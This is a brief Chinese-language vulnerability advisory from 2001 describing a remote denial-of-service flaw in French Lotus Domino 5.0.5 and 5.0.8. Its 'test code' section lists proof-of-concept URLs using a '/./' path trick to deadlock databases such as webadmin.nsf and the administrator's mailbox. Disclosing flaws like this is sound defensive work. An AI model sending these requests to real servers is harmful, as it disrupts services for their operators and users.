Lotus Domino Web服务程序存在数据库被锁漏洞发布时间：2001-12-10 更新时间：2001-12-10 严重程度：中 威胁程度：远程拒绝服务 错误类型：意外情况处置错误 利用方式：服务器模式 受影响系统 LOTUS DOMINO 5.0.5 (french) 和 LOTUS DOMINO 5.0.8 (french)详细描述 使用特殊的URL请求，匿名用户可以锁住数据库访问。 当目标数据库没有被服务器使用的时候如names.nsf,admin4.nsf，并使用"/./" 请求数据库名字可以导致数据库被死锁。 测试代码 http://server_adress/directory/./base_name.nsf 如死锁 WEDADMIN.NSF 数据库 : http://server/./webadmin.nsf 如死锁管理员邮箱： http://server/mail/./administrator.nsf 解决方案 尚无 相关信息 Sebastien EXT-MICHAUD (Sebastien.EXT-MICHAUD@atofina.com) 参考：http://archives.neohapsis.com/archives/bugtraq/2001-12/0082.html |
